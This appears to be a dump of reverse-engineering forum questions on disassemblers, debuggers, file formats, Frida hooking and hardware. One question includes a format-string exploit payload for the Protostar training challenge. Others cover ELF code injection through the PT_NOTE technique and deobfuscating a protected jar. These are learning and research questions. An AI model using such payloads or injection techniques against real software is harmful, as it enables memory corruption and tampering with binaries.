+How is such a thing possible? Do any resource exists explaining rust internals? +" +"['java', 'jar']"," Title: how to deobfuscate to java zkm?Body: I will have a question for you, dear forum residents. I have a .jar file encrypted with ZKM which I think will work for me. I don't know how to decrypt this, can you help me? +" +['file-format']," Title: Algorithm for decoding database like file structureBody: I am working on an automatic decode tool for a database like file structure. The file consists of a header and a body. Information that is known before trying to decode the file: Number of rows and size of the body. The files are generally pretty small. 1 to 35 columns and 1 to to 4000 rows. +The fields can be the following: + +There is also a meta data file for each file which contains the number of columns. +My current approach is this: Compute all possible column types, but exit early if I find a combination that never can be possible while looking at the first row. Eg column 1 = bool, where value is 4. +For each possible column combination that is at least valid for the first row, try to parse the whole table. If no errors and all byte are consumed at the end we have a possible candidate. +This works pretty well, but it is way too slow if a table has 25+ columns.I also often get multiple possible schamas. What would be a better way to address this problem? Anything I can do to reduce the number of possible combinations? +" +"['disassembly', 'binary-analysis', 'arm']"," Title: Confusion between different ARM architecturesBody: I am trying to develop a machine learning model to help with the process of reverse engineering. As the first stage, we are currently trying to train an embedding model that understand the dependencies and relationships between the insrtuctions. As usual, embedding model does need huge amount of data to be smart. +Our work is more focused upon microcontroller based systems and the architectures of ARMv7-m and ARMv6-m are the most important for our work. However, as finding binaries related to these architectures that could be useful for training the embedding model, I was thinking to use ARMv7 from a debian packages so that I could use already compiled binaries and train the embedding model. +However, these binaries are compiled with ARMv7-a architecture and as I know ARMv7-a does not include the thumb instruction set (correct me if I am wrong). Could somebody explained me whether ARMv7-a does include thumb instructions in its ISA? Will training on ARMv7-a would help to understand relationships between ARMv7-m and ARMv6-m instructions? Is it going to be an issue if I use ARMv7-a as my goal is to work with the ARMv7-m systems? +I really had trouble understanding these and any help or thoughts are much appreciated. +" +['file-format']," Title: Reverse engineer a proprietary audio fileBody: This is my first time posting here and also my first time attempting to do reverse engineering of this kind. +Let´s get to the point: +I have to find a way of reading some phone call audio files. The files have a mysterious ".vx8" extension which yields no relevant results on google. The format seems to be proprietary from the software. +On other questions here, I saw that trying to open the file in VLC and looking for metadata (Ctrl+I) is usefull. This yields no information on VLC other than the filename. +I do not have access to the software that makes these files (which is key part of some suggestions found here as well) +Here is the head of the hexdump for some files. +
hexdump -C 01Z7I579.vx8|head
+00000000  01 e1 70 fc e1 ee 64 d6  01 80 80 08 80 08 08 08  |..p...d.........|
+00000010  09 00 08 08 08 80 08 08  08 80 80 80 09 00 80 08  |................|
+00000020  80 08 80 80 80 80 08 80  08 80 08 80 08 09 18 80  |................|
+00000030  08 80 08 08 08 08 08 08  08 80 80 08 08 80 80 80  |................|
+00000040  08 08 08 08 08 08 80 08  80 80 80 08 08 08 80 09  |................|
+00000050  18 08 80 80 80 09 18 80  80 08 80 08 08 80 81 90  |................|
+00000060  80 08 08 81 90 88 18 80  08 08 08 80 08 80 00 90  |................|
+00000070  08 08 08 80 09 18 80 08  80 08 80 08 80 08 80 00  |................|
+00000080  90 08 80 80 08 80 08 80  09 18 09 18 80 09 01 89  |................|
+00000090  00 08 80 08 80 80 00 98  10 90 08 80 88 18 80 08  |................|
+
+hexdump -C 01Z7I5EZ.vx8|head
+00000000  01 d1 55 86 7c f0 64 d6  01 08 08 08 80 08 08 08  |..U.|.d.........|
+00000010  80 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|
+00000020  08 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|
+00000030  08 08 80 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|
+00000040  08 08 80 08 08 08 08 08  08 08 80 08 08 80 08 08  |................|
+00000050  08 08 08 08 08 08 08 08  08 08 08 08 08 08 08 08  |................|
+*
+00000070  08 08 08 08 08 08 08 08  08 08 08 08 80 80 80 08  |................|
+00000080  08 08 08 08 08 08 08 08  08 08 08 08 80 08 08 08  |................|
+00000090  08 08 08 08 08 08 08 08  08 08 08 08 08 08 80 08  |................|
+
+hexdump -C 01Z7I5IZ.vx8|head
+00000000  01 16 62 09 54 f1 64 d6  01 fd 14 8a 82 10 a8 a2  |..b.T.d.........|
+00000010  0c 23 42 83 e8 99 0b 88  38 a3 22 b1 0f 08 11 12  |.#B.....8.".....|
+00000020  ad 02 0f 94 88 09 03 00  a2 49 0c b3 6b c2 1d 11  |.........I..k...|
+00000030  b9 34 0b 30 32 ca 90 49  90 b0 01 b0 08 13 9f 08  |.4.02..I........|
+00000040  88 a1 51 12 8b a2 4d 01  92 af 82 4c 80 80 18 a0  |..Q...M....L....|
+00000050  34 10 a3 28 f8 18 80 0b  c8 81 9a 60 28 9b 09 00  |4..(.......`(...|
+00000060  b7 21 9b 3c 81 92 4b ac  52 ab 52 9a 0b a3 0e 85  |.!.<..K.R.R.....|
+00000070  29 92 b8 23 a0 2a db 39  98 20 2c e2 29 b9 62 1b  |)..#.*.9. ,.).b.|
+00000080  85 3b c3 48 a9 d8 90 1c  54 09 c1 09 a1 20 38 e8  |.;.H....T.... 8.|
+00000090  2a 99 31 00 1a ab b2 52  a3 73 bf 02 bb 33 1d 12  |*.1....R.s...3..|
+
+hexdump -C 01Z7I589.vx8|head
+00000000  01 96 1c 87 09 ef 64 d6  01 20 39 35 3a 21 1a 8b  |......d.. 95:!..|
+00000010  10 cb 32 b2 33 22 dc 91  f9 92 80 a4 01 a3 03 b3  |..2.3"..........|
+00000020  37 01 14 1b 81 28 a1 6a  a1 3a af bb ff 9a a9 40  |7....(.j.:.....@|
+00000030  20 24 49 02 0a 98 80 b9  23 b2 44 00 9a f0 b9 c2  | $I.....#.D.....|
+00000040  81 a3 04 a2 11 83 33 20  25 28 18 39 2a 69 08 1b  |......3 %(.9*i..|
+00000050  2e cb ef c1 ba 13 03 85  31 93 09 b0 81 bb 34 99  |........1.....4.|
+00000060  52 29 11 bb bf f0 9a 04  00 82 30 c2 39 92 42 09  |R)........0.9.B.|
+00000070  31 bc 41 0a 51 99 11 cf  9b ff 1a 90 20 18 42 19  |1.A.Q....... .B.|
+00000080  21 9a 00 0a a3 2a 97 11  a2 1b e1 e8 09 93 90 10  |!....*..........|
+00000090  03 91 48 03 31 58 31 08  29 12 19 8b 10 8d da df  |..H.1X1.).......|
+
+
+As you can see, for some of the files, 8´s and 0´s are abundant (I have no clue why) and some other don´t have them at all. +The 8th and 9th bytes are always d6 01 +The audio samples seem to begin on the 10th byte. +I have requested to the person with access to the files and software to send me some pairs of files for the same audio (.mp3 and .vx8) to try to see the difference in size and infer some bitrate (As suggested in other questions). They have sent me mp3 files before (not for the same phone calls) and the mp3 files seem to be larger than the .vx8, but I will have to confirm this once I have the pairs. +It would be very helpful to know any other strategies that I might be missing. +Thank you +" +"['ghidra', 'mips']"," Title: N64 Ghidra setup: missing MIPS instructions?Body: I have been using Ghidra, along with VoidWarranty's N64 loader to figure out analyze some unused functionality in an obscure title. however, it does not recognize valid instructions with the default selected MIPS CPU, such as 0xdf410328 (LD AT,0x0328(K0)), 0xff410328 (SD AT,0x0328(K0)), 0xfcb00098 (SD S0,0x0098(A1)). is this an issue with ghidra's definition, or am i just using the wrong processor for the job (MIPS:BE:32:default (1.5))? +" +"['windows', 'radare2', 'memory-dump']"," Title: Finding mapped memory page flags in Radare2Body: I have a memory dump of notepad.exe. Radare's iS to print sections gives me the mapped files (executable and it's dll's) as well as the many sections simply marked 'Memory_Section', which from what I can tell are the memory pages mapped out by the program to form the heap. Radare gives the permissions of these pages but not the flags they were created with, in particular if they are shared or private, reserved or committed, file backed or anonymous, etc. I assume working memory will generally be anonymous and private anyway, but I am working in the context of malware analysis, so nothing can be taken from granted. +How can I find the specific type that a particular memory mapping is? Can this be done statically, or will I need to emulate the memory dump somehow? +" +"['debugging', 'c++', 'gdb', 'breakpoint', 'debugging-symbols']"," Title: Can I force GDB breakpoints and disassemble?Body: Sorry English isn't my first language. +I noticed something when setting breakpoints in GDB. It appears that they are ignored if symbols aren't loaded. +I have found it weird how GDB behaves when there are no symbols at all loaded and if I want to debug something I am having to set a break point at __libc_start_main@plt and nexti until I reach a the main binary. I also noticed that I cannot disassemble there in the main binary either (I receive this odd message "No function contains program counter for selected frame."), but that aside it break points are essentially ignored. I have found an odd work around and that is setting +
set *0x56555878 = 0xcc 
+
+My questions are: + +Edit: It looks like I cannot set *breakpoints in glibc but I can when I land in int main() program , But while in the int main() , I lose ability to disassemble. +" +"['elf', 'pe', 'executable']"," Title: How is ELF symbol resolution and relocation different from PE symbol resolution?Body: I've learned extensively about PE and PE64 format a while back. I am now digging deeper into ELF format. However, I've not found as many thorough resources for ELF as I did for PE, such as ARTeam's PE format compendium and other blogs. I am looking for a comparison of how dependency/symbol resolution, version symbols, and relocations are done in ELF vs. Portable Executable. +" +"['ida', 'hex']"," Title: IDA hex != StringBody: , Hello. to learn reverse engineering, I would like to simply change a string via IDA. +I select my string, get the adress, and select Change Bytes to get the Hex value : + +After That, I try to convert this Hexa value to string, via this website : https://www.mobilefish.com/services/latin_utf_base64_to_hex/latin_utf_base64_to_hex.php#text_hex_output +And the result is not the same, + +Do you known how to get the complete Hex value from my string ? +Thanks a lot. +" +"['ida', 'idapython']"," Title: Using IDAPython Problem in finding string avalilable in .idata sectionBody: I am new to ida pro and idapython +In the following case i want to find the string reference "x is less than zero" while processing a block. +Tested with following script but doesn't seems to works! +
        b = <ida_gdl.qbasic_block_t; proxy of <Swig Object of type 'qbasic_block_t *' at 0x0000026C1A40F6C0> >  #Basic block object       
+        for head in Heads(b.start_ea, b.end_ea):
+            print (DataRefsFrom(head))
+
+
+
.text:0000000000401599                 add     rax, 3
+.text:000000000040159D                 shr     rax, 2
+.text:00000000004015A1                 shl     rax, 2
+.text:00000000004015A5                 mov     [rbp-40h+var_20], rax
+.text:00000000004015A9                 cmp     [rbp-40h+arg_0], 0
+.text:00000000004015AD                 jns     short loc_4015BB
+|------------------------------------------------------------------------------------------------|
+|.text:00000000004015AF                 lea     rcx, Format     ; "x is less than zero"          |
+|------------------------------------------------------------------------------------------------|
+.text:00000000004015B6                 call    printf
+.text:00000000004015BB
+.text:00000000004015BB loc_4015BB:                             ; CODE XREF: allocatebuffer(int)+7D↑j
+.text:00000000004015BB                 mov     eax, 1
+.text:00000000004015C0                 mov     rsp, rbx
+.text:00000000004015C3                 lea     rsp, [rbp-48h]
+.text:00000000004015C7                 pop     rbx
+.text:00000000004015C8                 pop     rbp
+.text:00000000004015C9                 retn
+
+" +"['assembly', 'elf', 'static-analysis', 'patching']"," Title: Statically injecting translated NASM assembly into existing ELF binaryBody: I'm trying to statically patching ELF binaries in order to incorporate code that can help provide run-time protection. +In an effort to save time writing and debugging assembly, I took the following no-deps C code that does a simple LD_PRELOAD detection and compiled it as follows: +
int main(int argc, char *argv[], char **environ)
+{
+    int i, j;
+    char env[] = "LD_PRELOAD";
+    for(i = 0; environ[i]; i++)
+    {   
+        for(j = 0; env[j] != '\0' && environ[i][j] != '\0'; j++)
+            if(env[j] != environ[i][j])
+                break;
+
+        if(env[j] == '\0')
+        {
+            return 1;
+        }
+    }   
+    return 0;
+}
+
+
# compile to object file
+$ gcc -fno-asynchronous-unwind-tables -fno-stack-protector -s -c -o detect.o detect.c
+
+With the object file, I then translate to NASM, cleanup and patch: +
# translate to NASM with objconv
+$ objconv -fnasm detect.o
+
+# ... clean up nasm file
+# compile as flat binary
+$ nasm -f bin detect.asm
+
+# ...inject using PT_NOTE technique and patching entry point
+
+The cleaned-up assembly: +
BITS 64
+
+SECTION .text
+global main
+
+main:
+        push    rbp                                     ; 0000 _ 55
+        mov     rbp, rsp                                ; 0001 _ 48: 89. E5
+        mov     dword [rbp-24H], edi                    ; 0004 _ 89. 7D, DC
+        mov     qword [rbp-30H], rsi                    ; 0007 _ 48: 89. 75, D0
+        mov     qword [rbp-38H], rdx                    ; 000B _ 48: 89. 55, C8
+        mov     rax, qword 4F4C4552505F444CH            ; 000F _ 48: B8, 4F4C4552505F444C
+        mov     qword [rbp-13H], rax                    ; 0019 _ 48: 89. 45, ED
+; Note: Length-changing prefix causes delay on Intel processors
+        mov     word [rbp-0BH], 17473                   ; 001D _ 66: C7. 45, F5, 4441
+        mov     byte [rbp-9H], 0                        ; 0023 _ C6. 45, F7, 00
+        mov     dword [rbp-4H], 0                       ; 0027 _ C7. 45, FC, 00000000
+        jmp     ?_007                                   ; 002E _ E9, 0000008D
+
+?_001:  mov     dword [rbp-8H], 0                       ; 0033 _ C7. 45, F8, 00000000
+        jmp     ?_003                                   ; 003A _ EB, 34
+
+?_002:  mov     eax, dword [rbp-8H]                     ; 003C _ 8B. 45, F8
+        cdqe                                            ; 003F _ 48: 98
+        movzx   edx, byte [rbp+rax-13H]                 ; 0041 _ 0F B6. 54 05, ED
+        mov     eax, dword [rbp-4H]                     ; 0046 _ 8B. 45, FC
+        cdqe                                            ; 0049 _ 48: 98
+        lea     rcx, [rax*8]                            ; 004B _ 48: 8D. 0C C5, 00000000
+        mov     rax, qword [rbp-38H]                    ; 0053 _ 48: 8B. 45, C8
+        add     rax, rcx                                ; 0057 _ 48: 01. C8
+        mov     rcx, qword [rax]                        ; 005A _ 48: 8B. 08
+        mov     eax, dword [rbp-8H]                     ; 005D _ 8B. 45, F8
+        cdqe                                            ; 0060 _ 48: 98
+        add     rax, rcx                                ; 0062 _ 48: 01. C8
+        movzx   eax, byte [rax]                         ; 0065 _ 0F B6. 00
+        cmp     dl, al                                  ; 0068 _ 38. C2
+        jnz     ?_004                                   ; 006A _ 75, 3A
+        add     dword [rbp-8H], 1                       ; 006C _ 83. 45, F8, 01
+?_003:  mov     eax, dword [rbp-8H]                     ; 0070 _ 8B. 45, F8
+        cdqe                                            ; 0073 _ 48: 98
+        movzx   eax, byte [rbp+rax-13H]                 ; 0075 _ 0F B6. 44 05, ED
+        test    al, al                                  ; 007A _ 84. C0
+        jz      ?_005                                   ; 007C _ 74, 29
+        mov     eax, dword [rbp-4H]                     ; 007E _ 8B. 45, FC
+        cdqe                                            ; 0081 _ 48: 98
+        lea     rdx, [rax*8]                            ; 0083 _ 48: 8D. 14 C5, 00000000
+        mov     rax, qword [rbp-38H]                    ; 008B _ 48: 8B. 45, C8
+        add     rax, rdx                                ; 008F _ 48: 01. D0
+        mov     rdx, qword [rax]                        ; 0092 _ 48: 8B. 10
+        mov     eax, dword [rbp-8H]                     ; 0095 _ 8B. 45, F8
+        cdqe                                            ; 0098 _ 48: 98
+        add     rax, rdx                                ; 009A _ 48: 01. D0
+        movzx   eax, byte [rax]                         ; 009D _ 0F B6. 00
+        test    al, al                                  ; 00A0 _ 84. C0
+        jnz     ?_002                                   ; 00A2 _ 75, 98
+        jmp     ?_005                                   ; 00A4 _ EB, 01
+
+?_004:  nop                                             ; 00A6 _ 90
+?_005:  mov     eax, dword [rbp-8H]                     ; 00A7 _ 8B. 45, F8
+        cdqe                                            ; 00AA _ 48: 98
+        movzx   eax, byte [rbp+rax-13H]                 ; 00AC _ 0F B6. 44 05, ED
+        test    al, al                                  ; 00B1 _ 84. C0
+        jnz     ?_006                                   ; 00B3 _ 75, 07
+        mov     eax, 1                                  ; 00B5 _ B8, 00000001
+        jmp     ?_008                                   ; 00BA _ EB, 29
+
+?_006:  add     dword [rbp-4H], 1                       ; 00BC _ 83. 45, FC, 01
+?_007:  mov     eax, dword [rbp-4H]                     ; 00C0 _ 8B. 45, FC
+        cdqe                                            ; 00C3 _ 48: 98
+        lea     rdx, [rax*8]                            ; 00C5 _ 48: 8D. 14 C5, 00000000
+        mov     rax, qword [rbp-38H]                    ; 00CD _ 48: 8B. 45, C8
+        add     rax, rdx                                ; 00D1 _ 48: 01. D0
+        mov     rax, qword [rax]                        ; 00D4 _ 48: 8B. 00
+        test    rax, rax                                ; 00D7 _ 48: 85. C0
+        jne     ?_001                                   ; 00DA _ 0F 85, FFFFFF53
+        mov     eax, 0                                  ; 00E0 _ B8, 00000000
+?_008:  pop     rbp                                     ; 00E5 _ 5D
+        push    <ENTRY_POINT_ADDR>
+        ret
+
+This process is all fine and good, but once actually running the patched executable, the binary falls short and segfaults at this instruction: +
 →   0x80022d                  movzx  eax, BYTE PTR [rax]
+
+I have also tried compiling with varying optimization levels, and directly using ld instead of NASM to create a flat binary, as mentioned here, but these all still result in segfaults. Compiling and running the cleaned-up assembly as an elf64 works fine, so I must be missing something. Any ideas on how to fix this? +" +"['ida', 'disassembly']"," Title: Access to variable never stored toBody: I'm disassembling a Microsoft dll in IDA Pro, and there's one point where a value is loaded to a register from a location that has never been written to (it's the first location on the variables stack): +
mov     rsi, [rbp+0]
+
+When debugging I can see that the location is cleared (zero), but how can this be assumed? +Here's the entry point: +
char __fastcall untfs_NTFS_SA::CreateElementaryStructures(NTFS_SA *this, struct NTFS_BITMAP *bmp_1, unsigned int sectors_per_cluster, unsigned int bytes_per_record_1, unsigned int sector_size_param, unsigned int a6_always_0, const struct NUMBER_SET *number_set, char NoUpgrade, unsigned __int8 ShortNames, char TxF, unsigned __int8 always_0?, char DAX, unsigned int HeatGatheringDisableFlag, struct MESSAGE *a14, struct BIOS_PARAMETER_BLOCK *a15, const struct WSTRING *a16, unsigned __int8 RepairLogs)
+ push    rbp
+ push    rbx
+ push    rsi
+ push    rdi
+ push    r12
+ push    r13
+ push    r14
+ push    r15
+ lea     rbp, [rsp-1DC8h]
+ mov     eax, 1EC8h
+ call    _alloca_probe
+ sub     rsp, rax
+ mov     rax, cs:__security_cookie
+ xor     rax, rsp
+ mov     [rbp+1E00h+var_50], rax
+ mov     eax, dword ptr [rbp+1E00h+a6_always_0]
+
+" +"['gdb', 'lldb']"," Title: Use dtrace, lldb or gdb to find which file or line of code was responsible for a line of output in stdout or stderr?Body: I see a string being output to my Terminal, when I ran an executable. I have the source code (in C) of the executable, but it was not written by me. I compiled it with -g flag. Is there any way to know which line in which file resulted in the output, with dtrace, lldb, gdb, or any other means? +I am using macOS 10.13. When I ran gdb and the following: +catch syscall write +I got this error: +The feature 'catch syscall' is not supported on this architecture yet. +Is there any way that can achieve my goal? +" +"['disassembly', 'c', 'buffer-overflow', 'address']"," Title: 2 byte format string attacksBody: Protostar +I was doing the protostar format string (3rd challenge). where we have to change the value of a variable target with format string buffer overflow. so, I came up to this medium article: HERE +So, he has described three types of attacks. the second and third ones seem hard to understand. +2 byte +I want to know that he has divided the target value (0x00000000) into 2 bytes (0000) in the second method. it means that we are splitting the values into two bytes. am I right? and if I am right what is the thing he did for getting the second address of the target(0x80496f6). how could he possibly get that from the real address (0x80496f4)? all I can understand is he might have subtracted 0x2 from the real address(0x80496f4). +Does the value of the target stores into two addresses? +His command is : +
python -c 'print "\xf4\x96\x04\x08" + "\xf6\x96\x04\x08" + "%13$hn" + "%12$hn"'
+
+" +"['ida', 'ghidra']"," Title: Why can't you edit pseudo code?Body: Dabbler in re here, so potentially a stupid question... +I know ida, binary ninja, and ghidra are really powerful at generating pseudo code. +From everything I've read pseudo code can't be edited in realtime but can be edited as assembly, I was just wondering why you couldn't do a similar process to the one below? +
    +
  1. decompile exe to fake code +
  2. +
  3. make code template for compiling in c or c++ +
  4. +
  5. load fake code into template +
  6. +
  7. compile basic template and stop at assembly code generation +
  8. +
  9. copy assembly from halfway compiled c++ exe +
  10. +
  11. auto replace halfway compiled code as assembly to ida assembly code +
  12. +
+Alternatively, +
    +
  1. decompile exe to fake code +
  2. +
  3. make code template for compiling in c or c++ +
  4. +
  5. load fake code into template +
  6. +
  7. compile basic template and stop at assembly code generation +
  8. +
  9. load the function into ida or such with pdb +
  10. +
  11. generate fake code for your template exe +
  12. +
  13. go to the function and get the assembly from there to copy and replace +
  14. +
+I know this method wouldn't be fast... but I am surprised no one has tried a method like this as far as I'm aware? Am I just missing something obvious? +" +"['hardware', 'pcb']"," Title: Looking at a PCB is it possible to ascertain the number of layers it has?Body: Is there a way to ascertain - without special equipment (other than what a "layman electronics enthusiast" may have around) - how many layers a PCB has? +Is there some sort of marking or a technique to deduce it? +Only other requirement: it should not damage the PCB. +This question is loosely related to that one, but hardly a duplicate. +" +['hardware']," Title: What are these pads called, what can I solder to them and could I do any damage?Body: I am wondering what this is called (those are 1 and 2 cm marks, divided into 1 mm segments): + +I'm fairly certain it's not JST. I think the two larger pads are used to hold whatever connector is soldered to the ten smaller ones. Similar to a USB-A female jack. Pin header could be, but the two larger pads make less sense then. Maybe a 9-pin D-Sub could go there (the RX/TX can also be accessed from the reverse at about the same location), but then there is one soldering pad too much. I've looked for a number of SMD components which may be a match, but came up empty-handed. +Sometimes when looking at an item I lack the correct terminology. This is such a case. What is this called? What sort of connector can I solder on and is there any chance (as long as I get the soldering right) that merely soldering something to it will damage it, i.e. without connecting/shorting anything? ... +
+The location where the ruler is, also happens to be the edge of the board. The PCB is out of an automative entertainment system. It was built in 2014 or 2015, but designed probably around 4-5 years before, by all accounts I could find. And to my knowledge its design is actually based on even earlier designs. This side of the PCB is labeled "TOP" somewhere at the edge. +
+ +The pads in question are on the edge shown at the bottom of the photo. This photo shows the top-side of the PCB. You can see there are two locations with this configuration of soldering pads. The photo at the top is from the right one. +The board is a SMEG+ from Magneti Marelli as built into PSA cars. +" +['gdb']," Title: Is it possible to find a running process's arguments to main from an attached GDB?Body: Given a very basic program, +
perl -e'$|=1; print $$; sleep 500;' HELLO WORLD
+
+How can I find HELLO WORLD using GDB? I thought bt -full but when I attach and run, I get +
#0  __GI___clock_nanosleep (clock_id=clock_id@entry=0, flags=flags@entry=0, req=req@entry=0x7ffe3b266bb0, rem=rem@entry=0x7ffe3b266bb0)
+    at ../sysdeps/unix/sysv/linux/clock_nanosleep.c:79
+        r = -516
+#1  0x00007f99fe824403 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffe3b266bb0, remaining=remaining@entry=0x7ffe3b266bb0) at nanosleep.c:27
+        ret = <optimized out>
+#2  0x00007f99fe82433a in __sleep (seconds=0) at ../sysdeps/posix/sleep.c:55
+        save_errno = 0
+        ts = {tv_sec = 474, tv_nsec = 980286586}
+#3  0x000055d533c98518 in Perl_pp_sleep ()
+No symbol table info available.
+#4  0x000055d533c38d06 in Perl_runops_standard ()
+No symbol table info available.
+#5  0x000055d533baca7c in perl_run ()
+No symbol table info available.
+#6  0x000055d533b82472 in main ()
+No symbol table info available.
+
+I would expect something to be able to parse the arguments to main. +
+Note: I'm not looking for /proc/$$/cmdline. That can be changed. I want the actual arguments to main +" +"['ida', 'decompilation', 'hexrays']"," Title: Batch decompile using IDA Pro 7.5Body: I am trying to batch disassemble and decompile 500 binaries using the IDA Pro 7.5 disassember and Hex rays decompiler. I can get the .i64 output from the disassembler, but I do not have a way to batch decompile this. Does anyone have an easy way to get the .c pseudocode directly from a binary, like one can do with Ghidra? +" +"['java', 'dynamic-analysis', 'function-hooking', 'frida', 'hooking']"," Title: frida - The specified child already has a parent. You must call removeView() on the child's parent first when hooking, how do you solve it?Body: I wanted to hook the method A1f in the below code but frida returns the following exceptions: +
Found instance: MyHomeFragment{9bbd8d5} (0965bca9-4838-4ca1-a835-d99639ae15f1)}
+java.lang.IllegalStateException: Fragment MyHomeFragment{9bbd8d5} (0965bca9-4838-4ca1-a835-d99639ae15f1)} not attached to an activity.
+Found instance: MyHomeFragment{8e4752} (c7e2fb7a-bbcd-4b79-b9ff-ce1a06117e40) id=0x7f0a0e33}
+java.lang.IllegalStateException: The specified child already has a parent. You must call removeView() on the child's parent first.
+
+how can I call removeView() through frida just to solve that exception? is it possible to do that? +additionally is there ways to hook? I am new to frida instrumentation. +Here is the method to hook: +
public final class MyHomeFragment extends 1Id implements 1Ij, C4Z, 1Io, 2OS {
+    public 0ou A00;
+    public 65i A01;
+    public String A02;
+
+public final View A1f(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) {
+        int A022 = 051.A02(1608567253);
+        65i r1 = this.A01;
+        Preconditions.checkNotNull(r1);
+        LithoView A07 = r1.A07(A0w());
+        FrameLayout frameLayout = new FrameLayout(A0m());
+        frameLayout.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
+        frameLayout.addView(A07);
+        051.A08(-871184214, A022);
+        return frameLayout;
+    }
+}
+
+and the frida script I tried to hook with: +
Java.perform(function () {
+   Java.choose("com.myapp.perish.home.fragments.MyHomeFragment", {
+    onMatch: function (instance) {
+      //This function will be called for every instance found by frida
+      try {
+        var LayoutInflater = Java.use("android.view.LayoutInflater");
+        var ViewGroup = Java.use("android.view.ViewGroup");
+        var Bundle = Java.use("android.os.Bundle");
+     
+        console.log("Found instance: " + instance);
+        console.log(JSON.stringify(instance.A1f(null, null, null)));
+      } catch (e) {
+        console.log(e.message);
+      }
+    },
+    onComplete: function () {},
+  });
+});
+
+
+previously I tried to pass LayoutInflater ViewGroup Bundle arguments to A1f method I got an exception depicting that .overload method got differently what it expects. I don't how to solve it. but when replaced all the three params with null. I got that above exception that parentView should be removed! how can I solve this? +" +['disassemblers']," Title: Recognize of data blockBody: Assembler code from data segment: +
.data:006A5038 dword_6A5038    dd 0
+.data:006A5038                   
+.data:006A503C ; char *off_6A503C
+.data:006A503C off_6A503C      dd offset aOption0
+.data:006A503C                                   
+.data:006A503C                                   
+.data:006A5040 dword_6A5040    dd 1              
+.data:006A5040                                   
+.data:006A5044                 dd offset aOption1
+.data:006A5048                 db    2
+.data:006A5049                 db    0
+.data:006A504A                 db    0
+.data:006A504B                 db    0
+.data:006A504C                 dd offset aOption2
+.data:006A5050                 db    3
+.data:006A5051                 db    0
+.data:006A5052                 db    0
+.data:006A5053                 db    0
+.data:006A5054                 dd offset aOption3
+.data:006A5058                 db    4
+
+..................................................
+.data:006A5294                 dd offset aOption4bh
+.data:006A5298                 db  4Ch ; L
+.data:006A5299                 db    0
+.data:006A529A                 db    0
+.data:006A529B                 db    0
+.data:006A529C                 dd offset aOption4ch 
+.data:006A52A0                 db 0FFh
+.data:006A52A1                 db 0FFh
+.data:006A52A2                 db 0FFh
+.data:006A52A3                 db 0FFh
+
+Assembler code of code segment, it piece of code below is loop, and during this loop checks eax with value 0xffffffff for end of loop; every step of loop to do some opertion with compare this strings named "options". i.e. there is string, and string's numeric indefiner, and for end of loop checks eax if 0xffffffff. +
.text:005334DF                 mov     eax, dword_6A5040[edi*8]
+.text:005334E6                 inc     edi
+.text:005334E7                 cmp     eax, 0FFFFFFFFh
+.text:005334EA                 jnz     loc_533433
+
+Question- how this data from data segment (strings and numeric indefiners) might look in high-level languages like c++? May be is it structures, how arranged this structures? It like global variables, because placed in data segment. Thanks in advance! +" +"['law', 'interoperability']"," Title: Is there a technique that would allow me to make an OPEN SOURCE driver legally in EuropeBody: The driver provided by the phone manufacturer doesn't expose both of my front cameras to third party apps and doesn't allow any third party app to record 4K video, so I think that interoperability is an acceptable reason to do so. But it is said that one is not allowed to publish the source code, then. +Does a reverse engineering technique exist, that would allow me to make an OPEN SOURCE driver for built-in phone cameras legally in Europe? +" +"['file-format', 'unpacking', 'encodings']"," Title: What kind of integer obfuscation is this?Body: I'm looking at the network traffic of a game submitting the user's score to the high-score server. The score value seems to be obfuscated in some way. +The score is a non-negative integer, and not more than half a billion in practice. Here are some scores and their encoded forms: +
   0 : 4c
+ 100 : 4d 71 06
+ 110 : 4d 7f c6
+ 210 : 4f bf c6
+ 281 : 4f ba 8d b3 ba 94 4d da 9d
+ 551 : 69 78 cd b3 bf ee 69 79 1c
+ 878 : 66 be 8b b3 b1 14 69 d4 f6
+ 990 : 65 74 06 b3 b2 4b 69 d1 2e
+1016 : 4d 71 0d 68 22 f0 4e be b6 68
+1021 : 4d 71 1c 4f 72 dd 6b b2 46 68
+1208 : 4d 70 06 64 a2 cb 66 b2 4d 68
+1361 : 4d 74 f6 4f 72 e2 6b b0 14
+1362 : 4d 74 f6 4c 22 cd 4f b8 dc 4c
+1543 : 4d 78 ee 4d c2 dd 66 b1 06 68
+1673 : 4d 79 30 4d c2 c6 4e b2 6e 4e
+1913 : 4d 74 0d 4d c2 d4 69 70 0d 4d d1 06 4e b1 06 4e b1 1d
+2151 : 4f bf d4 4f 72 dc 4f ba 9d 6a
+2816 : 4f ba 8d 68 22 dc 4d 71 30 4d 71 06 4e b1 06 4e b1 1d
+3540 : 4d d8 ee 4c a2 dc 4d 7f dc 6a
+3819 : 4d da 8d 67 72 c6 66 b4 1d 6a
+3881 : 4d da 8b 4f 72 cd 4e b0 06 69 71 06 4e b1 06 4e b1 2e
+3955 : 4d d4 14 6b 72 dd 6b b2 46 6a b4 22 65 74 22 65 74
+4095 : 6a b1 22 6b 72 dc 6b b4 cd 4c
+4205 : 6a b0 06 6b 72 d4 69 d8 dc 64
+4274 : 6a b0 30 68 a2 dc 4d d1 06 4e
+4444 : 6a b2 6e 68 a2 dc 4e be a2 68
+4602 : 6a b9 06 4c 22 c6 69 71 30 68
+
+I am certain that there is only one input variable to this encoding; the same input always gives the same output across changes of all possibly relevant variables. +This encoding is invertible; sending the encoded string to the server gets a response of the decoded score (if the decoded score is higher than the last one you submitted). Corollarily, we have an oracle. +What I'm having a hard time with is that the output length is variable in a non-monotonic way and is somewhat longer than the input. +For most particular score values, it is difficult to play in such a way to earn that score precisely, but if more pairs are needed to disambiguate, I can earn scores in an approximate range. (Otherwise I would surely have tried to earn the scores 1, 2, 3, etc.) +" +"['binary-analysis', 'decompilation', 'c', 'java']"," Title: How do we decompile java so easy?Body: I have seen a lot of videos where everyone is decompiling the jar files so easily. but I learnt that we cannot decompile any compiled file so easily. I have a little bit of experience in Gidhra. I have analyzed some C compiled binaries. the C compiled binaries aren't that easy to decompile, I have seen it myself. but how does java decompilation works? tools just extract all source code written in it. you can take this video as an example, Youtube IPPSEC +Please tell me the difference between C and Java compiled files decompilation. +" +"['firmware', 'encryption']"," Title: Encrypted firmware, need some hintsBody: I'm relatively new to firmware reverse engineering but it has been a very interesting journey, loved it! +I am currently trying to crack open the firmware of my Panasonic Lumix DC-G9 camera to see if I can bypass a 